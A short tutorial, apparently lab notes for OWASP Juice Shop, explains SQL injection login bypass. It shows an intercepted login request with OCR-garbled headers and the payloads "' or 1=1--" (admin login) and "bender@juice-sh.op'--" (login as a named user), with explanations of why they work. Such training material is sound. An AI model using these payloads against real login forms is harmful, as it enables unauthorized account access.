SQLI

SQL injection in general

SQL Injection is when an attacker enters a malicious or malformed query to either retrieve or
tamper data from a database. And in some cases, log into accounts.

Method 1: true statement

In an example navigate yourself to a log in. Intercept the request and edit the login fields like this:
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POST /rest/user/Llogin HTTP/1.1

Hest: 192.168.1.2

User-Agent: Mezilla/5.8 iX11; Linux xB6_64; rv:68.8) Gecko/20180101 Firefox/68.0
Accept: applicatien/json, text/plainm, #/%

Accept-Language: en-US.enig=0.5

Accept-Enceding: gzip. deflate

Referer: http://192.168.1.2/

Content-Type: application/json

Content-Length: 28

DNT: 1

Connection: close

Cookie: i1o=leyzgqcWTgYk2cB)xAABr; language=en; cookieconsent_status=dismiss; continueCode=z3BgynemkK9E21;

{"email”:"a","password”:"&a"}

{“email”:”’ or 1=1--“,”password”:”a” }
Why does this work?

e The character ' will close the brackets in the SQL query

e 'OR' in a SQL statement will return true if either side of it is true. As 1=1 is always true,
the whole statement is true. Thus it will tell the server that the email is valid, and log us
into user id 0, which happens to be the administrator account.

e The -- character is used in SQL to comment out data, any restrictions on the login will no
longer work as they are interpreted as a comment. This is like the # and // comment in
python and javascript respectively.

Method 2: do not force to be true

Similar to what we did in Example 1, we will now log into Bender's account! Capture the login
request again, but this time we will put:
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bender@juice-sh.op'--

as the email.

{"email":"bender@juice-sh.op'--","password":"a"}

Well, as the email address is valid (which will return true), we do not need to force it to be true.
Thus we are able to use '-- to bypass the login system. Note the 1=1 can be used when the email
or username is not known or invalid.
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